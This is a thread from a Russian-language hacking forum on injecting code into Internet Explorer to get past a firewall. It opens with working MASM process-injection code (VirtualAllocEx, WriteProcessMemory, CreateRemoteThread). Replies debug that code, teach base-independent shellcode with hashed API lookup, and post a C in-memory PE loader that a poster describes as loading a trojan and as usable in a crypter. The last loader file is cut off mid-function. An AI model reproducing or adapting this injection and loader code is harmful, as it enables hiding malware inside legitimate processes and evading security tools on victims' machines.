• XSS.stack #1 – первый литературный журнал от юзеров форума

FWB инжект на masm

barm

floppy-диск
Пользователь
Регистрация
13.03.2006
Сообщения
8
Реакции
0
Код:
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
include \masm32\include\masm32.inc
includelib \masm32\lib\masm32.lib
GetPid          PROTO :DWORD
injected_thread PROTO

CTEXT MACRO y:VARARG
LOCAL sym, dummy
dummy EQU $;; MASM error fix
CONST segment
IFIDNI <y>,<>
sym db 0
ELSE
sym db y,0
ENDIF
CONST ends
EXITM <OFFSET sym>
ENDM

.data?
Buffer      db 256 dup(?)
ThePID      dd ?
lpProcess  dd ?
lpModule    dd ?
lpNewModule dd ?
dwSize      dd ?
lpPID       dd ?
nBytesWritten dd ?
.code
start:
   invoke GetModuleHandle,0
   mov [lpModule], eax
   
   mov edi,eax
   add edi,[edi+3Ch]
   add edi,4
   add edi,14h
   mov eax,[edi+38h]
   mov [dwSize],eax
;next thing to do is to get the Process ID (PID)
;we can do this 2 ways either CreateToolhelp32Snapshot
;Invoke GetPid,CTEXT ('iexplore.exe')
;or...
   invoke FindWindow,CTEXT ('IEFrame'),0               ;find iexplorer.exe window class
   invoke GetWindowThreadProcessId, eax, addr ThePID   ;get the PID :)
   invoke OpenProcess,PROCESS_ALL_ACCESS, FALSE, ThePID;open the process
   mov [lpProcess],eax
   invoke VirtualFreeEx, [lpProcess], [lpModule], 0, MEM_RELEASE
   invoke VirtualAllocEx, [lpProcess], [lpModule], dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
   invoke WriteProcessMemory, [lpProcess], eax, [lpModule], [dwSize], addr nBytesWritten
   invoke CreateRemoteThread, [lpProcess], 0, 0, offset injected_thread, [lpModule], 0, ebx
 invoke ExitProcess,0

injected_thread proc
 invoke LoadLibrary,CTEXT ('user32.dll')
 invoke MessageBox,0,CTEXT ('Success!!!'),CTEXT ('Hello From iexplorer'),0
   invoke ExitThread,0
   ret
injected_thread endp

GetPid proc szFile:dword
 LOCAL Process:PROCESSENTRY32
   mov Process.dwSize, sizeof Process
   invoke CreateToolhelp32Snapshot, 2, 0
   mov esi, eax
   invoke Process32First, esi, addr Process
   @@loop:
   invoke lstrcmpiA,szFile, addr Process.szExeFile
       test eax, eax
       jnz @@continue
   ;if we are here then we got the pid (Process.th32ProcessID}
     push Process.th32ProcessID
     pop ThePID
     jmp @@done
   @@continue:
     invoke Process32Next, esi, addr Process
       test eax, eax
       jz @@done
     jmp @@loop
   @@done:
       invoke CloseHandle, esi
       ret
GetPid endp
end start
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Извиняюсь за ап древней темы, но не могу понять, почему не работает данный код? Запускаю ie8, запускаю данный семпл - он падает. В отладчике видно, что падает после вызова функции CreateRemoteThread с ошибкой error_invalid_address. В чем может быть причина?
 
вот практически тот же самый кодес, проверено на xp ие8 не падает
;Process Hijacking in MASM by Aphex
;This demonstrates how to hijack a foreign process and then delete the original program file.
;http://iamaphex.cjb.net
;unremote@knology.net
http://www.sendspace.com/file/a2yc6b

смею предположить что если кодес приведенный тс сбилдить с базой повыше, то и он не будет убивать осла.
 
смею предположить что если кодес приведенный тс сбилдить с базой повыше, то и он не будет убивать осла.
верно, т.к. по дефолту база 00400000h, скорее всего она уже занята и
Код:
invoke VirtualAllocEx, [lpProcess], [lpModule], dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
не отрабатывает должным образом, тут два варианта:
1. угадать свободный кусочек памяти и выделять там память (читай ставить опцию линкера /BASE:0xXXXXXXXX)
2. сделать бинарь с релоками и полностью переносить свой образ создавая поток на шеллкод который в свою очередь настроит релоки/импорт.

второй вариант предпочтительнее т.к. будет работать при выделении памяти по любому адресу.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
DeusEx спасибо, этот код работает нормально.

Подскажите, что вообще можно почитать, чтобы понимать суть этих инжектов? Документацию по РЕ формату? или что-то другое?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Подскажите по такому вопросу: если я хочу сделать базонезависимый код, то такой должна быть только процедура, которая инжектится в другой процесс, или вообще, весь кодес? Подозреваю что весь код, но все же. Да, вопрос тупой, но я серьезно не знаю.
 
Хотя смотря какие апишки юзаются, если нтдлл и кернел, можно не особо заморачиваться и скопировать адреса.
хардкорные адреса - зло, не факт что отработает на даже др. сервиспаке.

базанезависимой может быть не только процедура, но и весь код, только его оформлять нужно по спец правилам... искать базу кернела, подгружать нужные либы, дергать адреса апи из них, нельзя использовать глобальные переменные. Ах да... строки нужно хранить либо хэшами либо делать код так, чтобы строки генерировались в стеке.
Код:
00401006 |. C645 F8 73 MOV BYTE PTR SS:[EBP-8],73
0040100A |. C645 F9 68 MOV BYTE PTR SS:[EBP-7],68
0040100E |. C645 FA 69 MOV BYTE PTR SS:[EBP-6],69
00401012 |. C645 FB 74 MOV BYTE PTR SS:[EBP-5],74
00401016 |. C645 FC 00 MOV BYTE PTR SS:[EBP-4],0
В базанезависимом коде нужно использовать дельту смещения. Гугл в помощь.
 
Quake3
в своей функции не используй глобальных переменных, явных вызовов API и вообще любых других своих функций, строки объявляй как байтовый массив. И у твоей функции получится базонезависимый код, который ты можешь загрузить потом по любому адресу и передать ему управление, либо вообще можно высрать его в файл и потом использовать в других программах как шеллкод.

например:
Код:
...

void pe_loader( PBYTE buf, int bufLen, DWORD ptrUnmapViewOfFile, DWORD ptrVirtualFree, DWORD ptrVirtualAlloc, DWORD ptrLoadLibrary, DWORD ptrGetProcAddress, DWORD ptrMemset, DWORD ptrMemcpy )
{
...// тут базонезависимый код PE-лоадера
}
void marker_end( )
{
}

int main(int argc, char* argv[])
{
	// Дампим код функции в файл
	DWORD loaderLength =( DWORD ) ( (BYTE*) marker_end - (BYTE*) pe_loader );
	FILE *f = fopen( "loader.bin", "wb" );
	fwrite( pe_loader, loaderLength, 1, f );
	fclose( f );

	... // получаем динамически нужные API
	
	// Перемещаем подальше код загрузчика
	DWORD loaderCopy = k_VirtualAlloc( NULL, loaderLength, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
	memcpy( (void *) loaderCopy, pe_loader, loaderLength );

	// Перемещаем подальше буфер с троем
	DWORD szPEData = sizeof( PEData );
	PBYTE PEDataCopy = (PBYTE) k_VirtualAlloc( NULL, szPEData, MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE );
	memcpy( PEDataCopy, PEData, szPEData );

	// Передаём управление копии загрузчика
	( (void(*)( PBYTE, int, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD )) loaderCopy )( PEDataCopy, szPEData, ptrUnmapViewOfFile, ptrVirtualFree, ptrVirtualAlloc, ptrLoadLibrary, ptrGetProcAddress, ptrMemset, ptrMemcpy );
	
	return 0;
}
 
мне вот последнее время нравицо полностью перекидывать образ по нужным процессам, просто в кодесе есть базонезависимая процедура которая настраивает этот самый образ, а дальше уже по обстоятельствам и кодинга через жопу минимум и вообще ебли меньше. если интересно выложу пример. только там моих наработок наверно на статью потянет)
 
давным давно юзал парочку базонезависимых процедур которы дергались в начале WinMain и настраивали образ под базу на которой он находится, код очень старый могут быть ошибки
Код:
/*	================================
	== UtlFixReloc
	================================	*/
bool
UtlFixReloc(
	void *mem,
	unsigned long delta) {

	ULONG size,i,rva,image;
	PIMAGE_NT_HEADERS pnh;
	PIMAGE_BASE_RELOCATION pbr;
	PIMAGE_FIXUP_ENTRY pfe;

#if EXCEPT == 1
	__try {
#endif

  pnh = (PIMAGE_NT_HEADERS)RVATOVA(mem,((PIMAGE_DOS_HEADER)mem)->e_lfanew);
  if (!pnh)
  	return false;

  pbr = (PIMAGE_BASE_RELOCATION)RVATOVA(mem,
  	pnh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

  if ((PVOID)pbr == mem || !pbr)
  	return false;

  image = pnh->OptionalHeader.ImageBase;

  if (!delta) {
  	delta = ((unsigned long)mem - pnh->OptionalHeader.ImageBase);
  	if (!delta)
    return true;
  }

  do {
  	for (i = 0,pfe = (PIMAGE_FIXUP_ENTRY)((ULONG)pbr + 8);
    i < (pbr->SizeOfBlock - 8) >> 1;
    i ++,pfe ++)
    
//    if (pfe->type == IMAGE_REL_BASED_HIGHLOW)

    	if (pfe->offset) {
      rva = pbr->VirtualAddress + pfe->offset;
      *((PULONG)RVATOVA(mem,rva)) += delta;
    	}


  	*(PULONG)&pbr += pbr->SizeOfBlock;
  } while (pbr->VirtualAddress);

  pnh->OptionalHeader.ImageBase = (unsigned long)mem;

#if EXCEPT == 1
	} __except(EXCEPTION_EXECUTE_HANDLER) {
  return false;
	}
#endif

	return true;
}

/*	================================
	== UtlGetNtdllBase
	================================	*/
HANDLE __declspec(naked) __stdcall
UtlGetNtdllBase
(void) {

	__asm {
  xor	eax,eax
  mov	eax,fs:[eax+0x30]
  mov	eax,[eax+0x0c]
  mov	eax,[eax+0x1c]
  mov	eax,[eax+0x08]
  retn
	}
}

/*	================================
	== UtlGetProcAddr
	================================	*/
ULONG
UtlGetProcAddr(
	PVOID image,
	PCHAR name) {

	PIMAGE_NT_HEADERS pnh;
	PIMAGE_EXPORT_DIRECTORY ed;
	char **names;
	PUSHORT ords;
	ULONG *entries,i;

#if EXCEPT == 1
	__try {
#endif

  pnh = (PIMAGE_NT_HEADERS)RVATOVA(image,((PIMAGE_DOS_HEADER)image)->e_lfanew);
  if (!pnh)
  	return 0;

  ed = (PIMAGE_EXPORT_DIRECTORY)RVATOVA(image,
  	pnh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

  if (!ed)
  	return 0;

  names = (char **)RVATOVA(image,ed->AddressOfNames);
  ords = (unsigned short *)RVATOVA(image,ed->AddressOfNameOrdinals);
  entries = (unsigned long *)RVATOVA(image,ed->AddressOfFunctions);

  for (i = 0;i < ed->NumberOfNames;i ++)
  	if (!x_strcmpi((char*)RVATOVA(image,names[i]),name))
    return RVATOVA(image,entries[ords[i]]);

#if EXCEPT == 1
	} __except(EXCEPTION_EXECUTE_HANDLER) {
  return NULL;
	}
#endif

	return NULL;
}

/*	================================
	== UtlFixImport
	================================	*/
bool
UtlFixImport(void *base) {

	PVOID(*pLoadLibrary)(PCHAR);
	PVOID(*pGetProcAddress)(PVOID,PCHAR);
	VOID(*pRtlInitUnicodeString)(PUNICODE_STRING,PCWSTR);
	NTSTATUS(*pLdrLoadDll)(PWCHAR,ULONG,PUNICODE_STRING,PHANDLE);

	PIMAGE_NT_HEADERS pnh;
	PIMAGE_IMPORT_DESCRIPTOR pid;
	PIMAGE_THUNK_DATA orgt,impt;
	HANDLE krn,ntdll;
	PVOID lib;
	UNICODE_STRING us;
	ULONG size;


#if EXCEPT == 1
	__try {
#endif

  ntdll = UtlGetNtdllBase();
  *(FARPROC*)&pRtlInitUnicodeString = (FARPROC)UtlGetProcAddr(ntdll,"RtlInitUnicodeString");
  *(FARPROC*)&pLdrLoadDll = (FARPROC)UtlGetProcAddr(ntdll,"LdrLoadDll");

  pRtlInitUnicodeString(&us,L"kernel32.dll");
  pLdrLoadDll(0,0,&us,&(krn = 0));
  
  if (!krn) return false;

  *(FARPROC*)&pLoadLibrary = (FARPROC)UtlGetProcAddr(krn,"LoadLibraryA");
  *(FARPROC*)&pGetProcAddress = (FARPROC)UtlGetProcAddr(krn,"GetProcAddress");

  pnh = (PIMAGE_NT_HEADERS)RVATOVA(base,((PIMAGE_DOS_HEADER)base)->e_lfanew);
  if (!pnh)
  	return FALSE;

  pid = (PIMAGE_IMPORT_DESCRIPTOR)RVATOVA(base,
  	pnh->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

  if ((PVOID)pid == base || !pid)
  	return FALSE;

  for (;pid->Name;pid ++) {
  	
  	if (!(lib = pLoadLibrary((PCHAR)RVATOVA(base,pid->Name))))
    return FALSE;
  	
  	for (orgt = 
    	(PIMAGE_THUNK_DATA)RVATOVA(base,pid->OriginalFirstThunk),
    impt = 
    	(PIMAGE_THUNK_DATA)RVATOVA(base,pid->FirstThunk);
    impt->u1.AddressOfData;
    orgt ++,impt ++)

    if (!(orgt->u1.Ordinal & 0x80000000))

    	impt->u1.Function = (PULONG)pGetProcAddress(lib,(PCHAR)((PIMAGE_IMPORT_BY_NAME)RVATOVA(base,orgt->u1.AddressOfData))->Name);
    else
    	impt->u1.Function = (PULONG)pGetProcAddress(lib,(PCHAR)(orgt->u1.Ordinal & 0xFFFF));
  }

#if EXCEPT == 1
	} __except(EXCEPTION_EXECUTE_HANDLER) {
  return FALSE;
	}
#endif

	return TRUE;
}

/*	================================
	== UtlGetOurBase
	================================	*/
void *
UtlGetOurBase(void *mem) {

	unsigned long pnt;
	PIMAGE_NT_HEADERS pe;

	pnt = (unsigned long)mem;

	if (!(pnt & 0xFFFF0000))
  return 0;

	pnt = (unsigned long)(pnt & 0xFFFF0000);

	for (;;pnt += 1024) {

  if (((PIMAGE_DOS_HEADER)pnt)->e_magic != 'ZM')
  	continue;

  pe = (PIMAGE_NT_HEADERS)RVATOVA(pnt,((PIMAGE_DOS_HEADER)pnt)->e_lfanew);

  if (pe->Signature != 'EP')
  	continue;

  return (void*)pnt;
	}

	return 0;
}
и с подсветкой синтаксиса http://www.everfall.com/paste/id.php?lbflz8sx7l8d,

в принципе вполне себе сносно и работало как надо, но как то не красиво мешать код в одну кучу, поэтому был запилин базонезависмый загрузчик которому было по бую что он запускает и откуда, получалось то что раньше делал один код теперь разделено на три части инжект, загрузка и полезная нагрузка, явно лучше потому как собрав один раз одну часть и протестировав его больше не надо о ней беспокоиться. эта же версия с шифрование и анпаком может юзаться и в крипторе в общем получилось интереснее.

ldr.h
Код:
#define IMAGE_SIZEOF_BASE_RELOCATION 8

typedef VOID(*PRTLINITANSISTRING)(PANSI_STRING,PSTR);
typedef BOOLEAN(*PRTLCREATEUNICODESTRINGFROMASCIIZ)(PUNICODE_STRING,PSTR);
typedef VOID(*PRTLFREEUNICODESTRING)(PUNICODE_STRING);
typedef NTSTATUS(*PLDRLOADDLL)(PWCHAR,ULONG,PUNICODE_STRING,PHANDLE);
typedef NTSTATUS(*PLDRGETPROCEDUREADDRESS)(PVOID,PANSI_STRING,WORD,PVOID);
typedef NTSTATUS(*PNTFREEVIRTUALMEMORY)(HANDLE,PVOID*,PULONG,ULONG);
typedef NTSTATUS(*PNTUNMAPVIEWOFSECTION)(HANDLE,PVOID);
typedef NTSTATUS(*PNTALLOCATEVIRTUALMEMORY)(HANDLE,PVOID,ULONG,PULONG,ULONG,ULONG);
typedef NTSTATUS(*PNTTERMINATEPROCESS)(HANDLE,NTSTATUS);
typedef NTSTATUS(*PNTTERMINATETHREAD)(HANDLE,NTSTATUS);
typedef NTSTATUS(*PNTQUERYVIRTUALMEMORY) (HANDLE,PVOID,MEMORY_INFORMATION_CLASS,PVOID,ULONG,PULONG);
typedef NTSTATUS(*PNTPROTECTVIRTUALMEMORY)(HANDLE,PVOID,PULONG,ULONG,PULONG);
typedef NTSTATUS(*PNTTERMINATEPROCESS)(HANDLE,NTSTATUS);

typedef struct _apis {
	PNTUNMAPVIEWOFSECTION pNtUnmapViewOfSection;
	PNTFREEVIRTUALMEMORY pNtFreeVirtualMemory;
	PNTALLOCATEVIRTUALMEMORY pNtAllocateVirtualMemory;
	PNTTERMINATETHREAD pNtTerminateThread;
	PRTLCREATEUNICODESTRINGFROMASCIIZ pRtlCreateUnicodeStringFromAsciiz;
	PRTLFREEUNICODESTRING pRtlFreeUnicodeString;
	PRTLINITANSISTRING pRtlInitAnsiString;
	PLDRGETPROCEDUREADDRESS pLdrGetProcedureAddress;
	PLDRLOADDLL pLdrLoadDll;
	PNTQUERYVIRTUALMEMORY pNtQueryVirtualMemory;
	PNTPROTECTVIRTUALMEMORY pNtProtectVirtualMemory;
	PNTTERMINATEPROCESS pNtTerminateProcess;
} APIS, *PAPIS;

NTSTATUS LdrMain( pchar image);
PIMAGE_BASE_RELOCATION LdrProcessRelocationBlockLongLong(PVOID RelocationBase,ULONG NumFixups,PSHORT Fixup,ULONG BaseAddressDifference);
NTSTATUS LdrRelocateImage(PVOID ImageBase);
NTSTATUS LdrpProcessImportDirectoryEntry(PVOID ModuleBase,PVOID ImportedModule,PIMAGE_IMPORT_DESCRIPTOR ImportModuleDirectory);
NTSTATUS LdrFixupImports(PVOID ModuleBase);
PIMAGE_NT_HEADERS LdrImageNtHeader(PVOID BaseAddress);
PVOID LdrImageDirectoryEntryToData(PVOID BaseAddress,BOOLEAN ImageLoaded,ULONG Directory,PULONG Size);
NTSTATUS LdrGetProcedureByHash(PVOID BaseAddress,ULONG Hash,PVOID *ProcedureAddress);
NTSTATUS LdrEndOfLoader(void);
pvoid LdrMemCopy(pvoid destaddr,pvoid srcaddr,ulong len);
pvoid LdrGetModuleByHash(ulong);
ulong LdrCalcHash(pvoid,ulong);
void LdrOutDbg(pchar api,ulong err);
ulong LdrFindApi(PAPIS papis);

#define NTDLL_HASH 0x9fcf106e
#define KERNL_HASH 0x6674ace1

#define hNtUnmapViewOfSection    0xed704bf3
#define hNtFreeVirtualMemory    0x8b6ff88c
#define hNtAllocateVirtualMemory  	0x188b9f1f
#define hNtTerminateThread    	0x6325b153
#define hRtlCreateUnicodeStringFromAsciiz	0xdd5a9b91
#define hRtlFreeUnicodeString    0x07555c20
#define hRtlInitAnsiString    	0x44e22613
#define hLdrGetProcedureAddress    0x1b326e37
#define hLdrLoadDll      	0x54fbe79e
#define hNtQueryVirtualMemory    0x342E3980
#define hNtProtectVirtualMemory    0xa17b4d73
#define hNtTerminateProcess    	0xe9f000fa

ldr.cpp
Код:
#include "main.h"

NTSTATUS
LdrMain(pchar image) {
sofi
	ulong i;
	pvoid addr = 0;
	ulong size;
	PIMAGE_NT_HEADERS pe;
	PIMAGE_SECTION_HEADER sec;
	NTSTATUS st = STATUS_SUCCESS;
	ulong sofi;
	BOOL reloc = false;
	APIS apis;
//	MEMORY_BASIC_INFORMATION mbi;
//	ulong old;
	
	st = LdrFindApi(&apis);
	if (!NT_SUCCESS(st)) return st;

	if (!(pe = LdrImageNtHeader(image))) {
  st = STATUS_INVALID_IMAGE_FORMAT;
  goto __end;
	}
	if (!(sofi = pe->OptionalHeader.SizeOfImage)) {
  st = STATUS_INVALID_IMAGE_FORMAT;
  goto __end;
	}
	if (!(addr = (pvoid)pe->OptionalHeader.ImageBase)) {
  st = STATUS_INVALID_IMAGE_FORMAT;
  goto __end;
	}

	reloc = (LdrImageDirectoryEntryToData(image,false,IMAGE_DIRECTORY_ENTRY_BASERELOC,&size) != 0);
	if (reloc && size) {
  st = apis.pNtAllocateVirtualMemory(NtCurrentProcess(),&(addr = 0),0,&sofi,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  if (!NT_SUCCESS(st)) goto __end;

	} else {

  for (i = (ulong)addr;i <= (ulong)addr + sofi;i += 0x10000) {

  	st = apis.pNtUnmapViewOfSection(NtCurrentProcess(),(pvoid)i);
  	st = apis.pNtFreeVirtualMemory(NtCurrentProcess(),(pvoid*)&i,&(size = 0x10000),MEM_RELEASE);
  	st = apis.pNtAllocateVirtualMemory(NtCurrentProcess(),(pvoid*)&i,0,&(size = 0x10000),MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  	if (!NT_SUCCESS(st)) goto __end;
  }
	}

	LdrMemCopy(addr,image,pe->OptionalHeader.SizeOfHeaders);

	sec = IMAGE_FIRST_SECTION(pe);
	for (i = 0;i < pe->FileHeader.NumberOfSections;i ++,sec ++) {
  LdrMemCopy((pchar)addr + sec->VirtualAddress,image + sec->PointerToRawData,sec->SizeOfRawData);
	}

	if (reloc) {
  st = LdrRelocateImage(addr);
  if (!NT_SUCCESS(st)) goto __end;
  pe->OptionalHeader.ImageBase = (ulong)addr;
	}
	st = LdrFixupImports(addr);
	if (!NT_SUCCESS(st)) goto __end;

	((void(*)())(pe->OptionalHeader.AddressOfEntryPoint + (ulong)addr))();
	// TODO:
	// (WINMAIN)(pe->OptionalHeader.AddressOfEntryPoint + (ulong)addr))(1,2,3,4);
	st = ERROR_SUCCESS;

__end:;

	apis.pNtTerminateProcess(NtCurrentProcess(),st);
	return st;
}

ulong
LdrFindApi(PAPIS papis) {

	ulong hashes[] = {
  hNtUnmapViewOfSection,
  hNtFreeVirtualMemory,
  hNtAllocateVirtualMemory,
  hNtTerminateThread,
  hRtlCreateUnicodeStringFromAsciiz,
  hRtlFreeUnicodeString,
  hRtlInitAnsiString,
  hLdrGetProcedureAddress,
  hLdrLoadDll,
  hNtQueryVirtualMemory,
  hNtProtectVirtualMemory,
  hNtTerminateProcess,
  NULL
	};

	ulong st;
	ppvoid pnt = (ppvoid)papis;
	pvoid ntdll = LdrGetModuleByHash(NTDLL_HASH);
	for (int i = 0;hashes[i];i ++) {
  st = LdrGetProcedureByHash(ntdll,hashes[i],(ppvoid)&pnt[i]);
  if (!NT_SUCCESS(st)) return st;
  if (!pnt[i]) return STATUS_INVALID_ADDRESS;
	}
	return ERROR_SUCCESS;
}

void
LdrOutDbg(pchar api,ulong err) {

	void(*pOutputDebugString)(pchar);
	int(*psprintf)(pchar,pchar,...);
	char buf[1024];
	char mask[] = {'%','s',':',' ','%','p',0};

	LdrGetProcedureByHash(LdrGetModuleByHash(NTDLL_HASH),0xe3838c7f,(ppvoid)&psprintf);
	psprintf(buf,mask,api,err);
	LdrGetProcedureByHash(LdrGetModuleByHash(KERNL_HASH),0x626777d2,(ppvoid)&pOutputDebugString);
	pOutputDebugString(buf);
	return;
}

ulong __declspec(naked)
LdrCalcHash(pvoid,ulong) {
	__asm {
  push	esi
  mov  esi,[esp+0x08]
  or  edx,0xffffffff
__loop1:lodsb
  mov  ecx,[esp+0x0c]
  jecxz	__ascii
  inc  esi
__ascii:test	al,al
  je  __exit
  cmp  al,61h
  jl  __is_lowercase
  sub  al,20h
__is_lowercase:
  xor  dl,al
  mov  cl,8
__loop2:shr  edx,1
  jnb  __next
  xor  edx,0xedb88320
__next:	loop	__loop2
  jmp  __loop1
__exit:	xchg	eax,edx
  pop  esi
  retn	0x08
	}
}

pvoid __declspec(naked)
LdrGetModuleByHash(ulong) {
	__asm {
  push	esi
  xor  eax,eax
  mov  esi,fs:[eax+0x30]
  mov  esi,[esi+0x0c]
  mov  esi,[esi+0x14]
__next:	push	1
  push	dword ptr [esi+0x28]
  call	LdrCalcHash
  cmp  eax,[esp+0x08]
  mov  eax,[esi+0x10]
  mov  esi,[esi]
  jnz  __next
  pop  esi
  retn	0x04
	}
}

/*	================================
	== LdrMemCopy
	================================	*/
pvoid
LdrMemCopy(pvoid destaddr,pvoid srcaddr,ulong len) {
	pchar dest = (pchar)destaddr;
	pchar src = (pchar)srcaddr;
	while (len -- > 0) {
  *dest++ = *src++;
	}
	return destaddr;
}

PIMAGE_NT_HEADERS
LdrImageNtHeader(PVOID BaseAddress) {
	PIMAGE_DOS_HEADER DosHeader;
	PIMAGE_NT_HEADERS NTHeaders;

	DosHeader = (PIMAGE_DOS_HEADER)BaseAddress;
	NTHeaders = (PIMAGE_NT_HEADERS)RVA(BaseAddress,DosHeader->e_lfanew);
	if ((DosHeader->e_magic != IMAGE_DOS_SIGNATURE) || (DosHeader->e_lfanew == 0L) || (NTHeaders->Signature != IMAGE_NT_SIGNATURE)) {
  return(NULL);
	}
	return(NTHeaders);
}

PVOID
LdrImageDirectoryEntryToData(
	PVOID BaseAddress,
	BOOLEAN ImageLoaded,
	ULONG Directory,
	PULONG Size) {

	PIMAGE_NT_HEADERS NtHeader;
	PIMAGE_SECTION_HEADER SectionHeader;
	ULONG Va;
	ULONG Count;

	NtHeader = LdrImageNtHeader(BaseAddress);
	if (NtHeader == NULL) {
  return NULL;
	}
	if (Directory >= NtHeader->OptionalHeader.NumberOfRvaAndSizes) {
  return NULL;
	}
	Va = NtHeader->OptionalHeader.DataDirectory[Directory].VirtualAddress;
	if (Va == 0) {
  return NULL;
	}
	if (Size) {
  *Size = NtHeader->OptionalHeader.DataDirectory[Directory].Size;
	}
	if (ImageLoaded) {
  return (PVOID)RVA(BaseAddress,Va);
	}

	SectionHeader = (PIMAGE_SECTION_HEADER)(NtHeader + 1);
	Count = NtHeader->FileHeader.NumberOfSections;
	while (Count--) {
  if (SectionHeader->VirtualAddress == Va) {
  	return (PVOID)((char*)BaseAddress + SectionHeader->PointerToRawData);
  }
  SectionHeader++;
	}
	return NULL;
}


NTSTATUS
LdrGetProcedureByHash(
	PVOID BaseAddress,
    ULONG Hash,
	PVOID *ProcedureAddress) {

   PIMAGE_EXPORT_DIRECTORY ExportDir;
   PUSHORT OrdinalPtr;
   PULONG NamePtr;
   PULONG AddressPtr;
   ULONG size = 0;
   ULONG i;

   ExportDir = (PIMAGE_EXPORT_DIRECTORY)LdrImageDirectoryEntryToData(BaseAddress,TRUE,IMAGE_DIRECTORY_ENTRY_EXPORT,&size);
	if (!ExportDir || !size || !ProcedureAddress) {
  return(STATUS_INVALID_PARAMETER);
	}

	AddressPtr = (PULONG)RVA(BaseAddress,ExportDir->AddressOfFunctions);
	OrdinalPtr = (PUSHORT)RVA(BaseAddress, ExportDir->AddressOfNameOrdinals);
	NamePtr = (PULONG)RVA((char*)BaseAddress, ExportDir->AddressOfNames);

	for (i = 0; i < ExportDir->NumberOfNames; i++, NamePtr++, OrdinalPtr++) {
  if (LdrCalcHash((pchar)RVA(BaseAddress,*NamePtr),0) == Hash) {
  	*ProcedureAddress = (PVOID)RVA(BaseAddress,AddressPtr[*OrdinalPtr]);
  	return STATUS_SUCCESS;
  }
	}
	return STATUS_PROCEDURE_NOT_FOUND;
}
PIMAGE_BASE_RELOCATION
LdrProcessRelocationBlock(
	PVOID RelocationBase,
	ULONG NumFixups,
	PSHORT Fixup,
	ULONG BaseAddressDifference) {

	LONG FixupTemp32;

	if (!NumFixups) {
  return (PIMAGE_BASE_RELOCATION)RelocationBase;
	}

	while (NumFixups--) {

  PVOID VirtualAddress = (PVOID)((*Fixup & 0x0fff) + (ULONG_PTR)RelocationBase);
  switch (*Fixup >> 12) {

  	case IMAGE_REL_BASED_ABSOLUTE:
    break;

  	case IMAGE_REL_BASED_HIGH:
    FixupTemp32 = (*(PUSHORT)VirtualAddress << 16) + BaseAddressDifference;
    *(PUSHORT)VirtualAddress = (USHORT)(FixupTemp32 >> 16);
    break;

  	case IMAGE_REL_BASED_LOW:
    FixupTemp32 = (*(PUSHORT)VirtualAddress) + (USHORT)BaseAddressDifference;
    *(PUSHORT)VirtualAddress = (USHORT)FixupTemp32;
    break;

  	case IMAGE_REL_BASED_HIGHLOW:
    *(PLONG)VirtualAddress += (LONG)BaseAddressDifference;
    break;

  	case IMAGE_REL_BASED_HIGHADJ:
    FixupTemp32 = *(PUSHORT)VirtualAddress << 16;
    FixupTemp32 += (LONG)(*(PSHORT)(++Fixup)) + BaseAddressDifference + 0x8000;
    *(PUSHORT)VirtualAddress = (USHORT)(FixupTemp32 >> 16);
    NumFixups --;
    break;

  	case IMAGE_REL_BASED_MIPS_JMPADDR:
    FixupTemp32 = (*(PULONG)VirtualAddress & 0x3fffffff) << 2;
    FixupTemp32 += BaseAddressDifference;
    *(PULONG)VirtualAddress = (*(PULONG)VirtualAddress & ~0x3fffffff) | ((FixupTemp32 >> 2) & 0x3fffffff);
    break;

  	case IMAGE_REL_BASED_DIR64:
    *(PULONG_PTR)VirtualAddress += BaseAddressDifference;
    break;

  	//case IMAGE_REL_BASED_SECTION:
  	//case IMAGE_REL_BASED_REL32:
  	//case IMAGE_REL_BASED_MIPS_JMPADDR16:
  	//case IMAGE_REL_BASED_IA64_IMM64:
  	default:
    break;
  }
  Fixup++;
	}
	return (PIMAGE_BASE_RELOCATION)Fixup;
}

NTSTATUS
LdrRelocateImage(PVOID ImageBase) {

	PIMAGE_BASE_RELOCATION Relocation;
	PIMAGE_NT_HEADERS NtHeaders;
	NTSTATUS Status = STATUS_SUCCESS;
	ULONG BaseAddressDifference;
	ULONG RelocationSize;

	do {
  if (!(NtHeaders = LdrImageNtHeader(ImageBase))) {
  	Status = STATUS_INVALID_IMAGE_FORMAT;
  	break;
  }

  Relocation = (PIMAGE_BASE_RELOCATION)LdrImageDirectoryEntryToData(
  	ImageBase,TRUE,IMAGE_DIRECTORY_ENTRY_BASERELOC,&RelocationSize);

  if ((!Relocation) || (!RelocationSize)) {
  	Status = STATUS_CONFLICTING_ADDRESSES;
  	break;
  }

  BaseAddressDifference = (ULONG)ImageBase - NtHeaders->OptionalHeader.ImageBase;

  while (RelocationSize) {

  	if ((Relocation->SizeOfBlock < 10) || (Relocation->SizeOfBlock > RelocationSize)) {
    Status = STATUS_INVALID_IMAGE_FORMAT;
    break;
  	}

  	RelocationSize -= Relocation->SizeOfBlock;
  	Relocation = LdrProcessRelocationBlockLongLong(
    (PVOID)(Relocation->VirtualAddress + (ULONG_PTR)ImageBase),
    (Relocation->SizeOfBlock - IMAGE_SIZEOF_BASE_RELOCATION) / sizeof(USHORT),
    (PSHORT)((PUCHAR)Relocation + sizeof(IMAGE_BASE_RELOCATION)),
    BaseAddressDifference);

  	if (!Relocation) {
    Status = STATUS_INVALID_IMAGE_FORMAT;
    break;
  	}
  }
	} while (0);
	return Status;
}

NTSTATUS
LdrpProcessImportDirectoryEntry(
	PVOID ModuleBase,
	PVOID ImportedModule,
	PIMAGE_IMPORT_DESCRIPTOR ImportModuleDirectory) {

	NTSTATUS st;
	PVOID* ImportAddressList;
	PULONG FunctionNameList;
